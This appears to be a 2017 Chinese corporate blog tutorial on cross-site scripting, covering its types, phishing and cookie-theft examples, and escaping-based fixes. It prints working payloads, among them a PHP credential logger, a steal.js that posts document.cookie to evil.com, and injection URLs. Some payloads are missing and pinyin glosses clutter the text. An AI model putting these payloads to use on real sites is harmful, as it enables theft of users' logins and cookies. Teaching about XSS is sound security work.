【東網技(jì )術大咖帶您走進XSS】XSS跨站腳本攻擊原理(lǐ)及防護
發布時間: 2017-02-24 16:54:31
跨站腳本攻擊(Cross Site Scripting),為(wèi)不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故将跨站腳本攻擊縮寫為(wèi)XSS。跨站腳本攻擊(XSS)指利用(yòng)網站漏洞從用(yòng)戶那裏惡意盜取信息。跨站腳本攻擊是最常見的web應用(yòng)程序安(ān)全漏洞之一,在2013年度OWASP top 10中(zhōng)排行第三。
XSS屬于被動式的且用(yòng)于客戶端的攻擊方式,所以容易被忽略其危害性。其原理(lǐ)是攻擊者向有(yǒu)XSS漏洞的網站中(zhōng)輸入(傳入)惡意的HTML代碼,通常是javascript編寫的惡意代碼。當用(yòng)戶浏覽該網站時,這段HTML代碼會自動執行,從而達到攻擊的目的。如,盜取用(yòng)戶Cookie、破壞頁(yè)面結構、重定向到其它網站等。常見存在的場景如搜索框、輸入框(用(yòng)戶名(míng)密碼輸入錯誤後,頁(yè)面上會把用(yòng)戶名(míng)顯示)等。
舉一個簡單的XSS漏洞例子,通過XSS漏洞構造惡意url盜取他(tā)人的cookie。a網站(192.168.1.1460:8000/admin/login.php)存在XSS漏洞:
構造惡意url:
浏覽該惡意鏈接就會去執行語句,(http://192.168.1.147/xsstest/SAVE.php該地址下的SAVE.php是攻擊者搭建的存入用(yòng)戶名(míng)密碼的頁(yè)面),當用(yòng)戶在該頁(yè)面下提交用(yòng)戶名(míng)密碼後,其實是在SAVE.php中(zhōng)提交密碼。
在192.168.1.147服務(wù)器上就保存有(yǒu)用(yòng)戶名(míng)密碼,如下圖所示,這就是XSS攻擊。
XSS攻擊主要被分(fēn)成了三類,分(fēn)别是反射型、存儲型和DOM型。
反射型XSS,通常也被稱為(wèi)非持久性XSS,是當前最容易出現的一種XSS漏洞。攻擊者編寫的惡意代碼插入URL中(zhōng),當用(yòng)戶訪問這個帶有(yǒu)XSS代碼的URL請求時,服務(wù)器端接收用(yòng)戶數據後處理(lǐ),然後将帶有(yǒu)XSS代碼的數據發送到浏覽器,浏覽器會解析并執行XSS代碼,最終造成XSS漏洞。由于這個過程就像一次反射,所以被稱為(wèi)反射型XSS。
存儲型XSS,通常也被稱為(wèi)持久性XSS,是最危險的一種跨站腳本。隻要是web應用(yòng)中(zhōng)允許用(yòng)戶存儲數據的,都有(yǒu)可(kě)能(néng)出現存儲型XSS漏洞。當攻擊者在某個頁(yè)面提交了一段惡意代碼,被服務(wù)器接收并存儲,當攻擊者再一次訪問這個頁(yè)面時,這段XSS代碼程序讀出來響應給浏覽器,就會造成XSS跨站攻擊,這就是存儲型XSS。
DOM型 XSS是特殊的跨站,将用(yòng)戶可(kě)控數據通過JavaScript和DOM技(jì )術輸出到HTML中(zhōng),利用(yòng)方式通常與反射型XSS類似。客戶端的腳本程序可(kě)以通過DOM動态地檢查和修改頁(yè)面内容,它不依賴于提交數據到服務(wù)器端,而從客戶端獲得DOM中(zhōng)的數據在本地執行,如果DOM中(zhōng)的數據沒有(yǒu)經過嚴格确認,就會産(chǎn)生DOM型 XSS漏洞。
本期我們主要來介紹下反射型XSS。
反射型XSS攻擊的常見思路:
接下來,我們介紹幾種比較常見的XSS攻擊。
第一種,攻擊者常常利用(yòng)XSS漏洞進行釣魚攻擊。
(1)XSS重定向釣魚,這種釣魚方式是把當前頁(yè)面重定向到一個釣魚網站上。假如www.bug.com為(wèi)漏洞網站,網站www.evil.com為(wèi)一個完全仿冒www.bug.com的網站,攻擊者利用(yòng)XSS漏洞将訪問的用(yòng)戶跳轉到冒牌的網站,從而進行釣魚等詐騙活動。
假設www.bug.com上有(yǒu)一處XSS:
http://www.bug.com/index.php?search=【Expliot】
那麽,Exploit如下:
http://www.bug.com/index.php?search='><script>document.location.href="http://www.evil.com"</script>
這樣便會讓用(yòng)戶從當前訪問的網站跳轉到一個邪惡的釣魚網站。
(2)XSS 跨框架釣魚,這種方式是通過在HTML下的
這樣便會使得邪惡的頁(yè)面覆蓋在正常的頁(yè)面上,顯示的url還是正常的url,從而進行釣魚等詐騙活動。
(3)修改鏈接屬性攻擊,這是利用(yòng)XSS漏洞,将正常頁(yè)面中(zhōng)的某個鏈接修改成邪惡的網站鏈接,當用(yòng)戶點擊的時候,就會跳轉到該邪惡的頁(yè)面。
假設www.bug.com上有(yǒu)一處XSS:
http://www.bug.com/index.php?search=【Expliot】
那麽,Exploit如下:
http://www.bug.com/index.php?search='>
這樣一來,當用(yòng)戶點擊了被修改的鏈接之後,就會跳轉到該邪惡的頁(yè)面,進行詐騙等行為(wèi)。
(4)修改表單提交對象,最常見的就是在用(yòng)戶的登錄頁(yè)面,攻擊者修改了用(yòng)戶數據提交的對象,當用(yòng)戶點擊登陸時,用(yòng)戶的賬戶密碼等信息就會發送到攻擊者設置的對象那邊。
攻擊者精(jīng)心編寫了一個在用(yòng)戶登陸後獲取用(yòng)戶名(míng)和密碼的腳本SAVE.php
header("Content-type:text/html;charset=gb2312");
?>
$myfile = fopen("cookies.txt", "a") or die("Unable to open file!");
$username =$_REQUEST["username"];
$password =$_REQUEST["password"];
fwrite($myfile, "用(yòng)戶名(míng):".$username);
fwrite($myfile, "\r\n");
fwrite($myfile, "密碼:".$password);
fwrite($myfile, "\r\n");
fclose($myfile);
?>
window.location.href="http://10.10.10.144:8000/admin/login.php"
假設www.bug.com上有(yǒu)一處XSS:
http://www.bug.com/index.php?search=【Expliot】
那麽,Exploit如下:
這樣一來,當用(yòng)戶點擊登陸時,用(yòng)戶的賬戶密碼等信息就會發送到攻擊者設置的對象那邊。
第二種,利用(yòng)XSS漏洞盜取cookie。
攻擊者精(jīng)心編寫了一個盜取cookie的腳本SAVE.php,和用(yòng)來請求該腳本的steal.js文(wén)件
function loadXMLDoc()
{
var xmlhttp=new XMLHttpRequest();
xmlhttp.open("POST","http://www.evil.com/SAVE.PHP",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("T1="+document.cookie);
}
loadXMLDoc();
假設www.bug.com上有(yǒu)一處XSS:
http://www.bug.com/index.php?search=【Expliot】
那麽,Exploit如下:
http://www.bug.com/index.php?search='><script src="http://www.evil.com/steal.js">
這樣一來,當用(yòng)戶訪問時,用(yòng)戶的cookie信息就會自動發送到攻擊者的手裏。
從以上叙述可(kě)以得出結論,XSS跨站漏洞最終形成的原因是沒有(yǒu)對輸入輸出進行嚴格的過濾,使得攻擊者可(kě)以在頁(yè)面執行javascript等客戶端腳本。這也就意味着隻要将敏感的字符過濾掉,就可(kě)以實現對XSS跨站漏洞的修補。以下介紹兩種修補方案。
方案一:對特殊字符進行過濾
在HTML中(zhōng),<、>、"、’&都比較有(yǒu)特殊的意義,因為(wèi)HTML的标簽、屬性就是由這幾個符号組成的,如果直接輸出這幾個特殊字符,就極有(yǒu)可(kě)能(néng)破壞整個HTML文(wén)檔的結構。所以,一般情況下,XSS将這些進行過濾。
方案二:對用(yòng)戶可(kě)控數據html escape 轉義
如PHP中(zhōng)提供了htmlspecialshar()、htmlentities()函數可(kě)以把一些預定義的字符轉換為(wèi)HTML實體(tǐ)。
預定義的字符如下:
&(和号)成為(wèi)&
" (雙引号)成為(wèi)"
‘ (單引号)成為(wèi)'
<(小(xiǎo)于)成為(wèi)<
>(大于)成為(wèi)>
以上兩個方案可(kě)根據具(jù)體(tǐ)場景選擇使用(yòng)。
對于web服務(wù)器的所有(yǒu)者來說,雖然最新(xīn)版的浏覽器對XSS攻擊進行了過濾能(néng)在一定程度上保護用(yòng)戶不受XSS攻擊,但舊版的浏覽器上沒有(yǒu)該功能(néng),因此及時發現自身應用(yòng)存在的XSS漏洞,并修補。避免對用(yòng)戶造成危害是很(hěn)有(yǒu)必要的。總的來說,對于XSS跨站腳本攻擊漏洞,其攻擊手段雖然層出不窮,但是都可(kě)以徹底的解決。最重要的是能(néng)夠真正掌控 "輸入與輸出"。